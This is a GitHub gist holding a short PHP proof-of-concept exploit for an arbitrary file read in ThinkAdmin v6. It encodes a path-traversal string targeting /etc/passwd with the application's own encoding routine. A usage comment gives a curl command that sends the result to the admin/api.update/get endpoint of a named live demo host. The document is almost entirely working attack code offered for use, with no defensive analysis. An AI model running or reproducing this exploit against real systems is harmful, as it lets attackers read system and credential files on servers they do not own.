Created
February 6, 2020 10:18
-
-
Save kaiili/208beaf382983cd82ad405a44f53b3b6 to your computer and use it in GitHub Desktop.
POC for ThinkAdmin file read
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Date: 2020-02-06 | |
* Exploit Author: k4ii | |
* Daemon Link: https://v6.thinkadmin.top | |
* Version: v6 | |
* Tested on: linux | |
* Usage: | |
* curl "https://v6.thinkadmin.top/admin/api.update/get" -d "encode=`php poc.php`" | |
*/ | |
function encode($content) | |
{ | |
list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; | |
for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); | |
return $chars; | |
} | |
echo(encode("../../../../../../../../../../../../../etc/passwd")); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment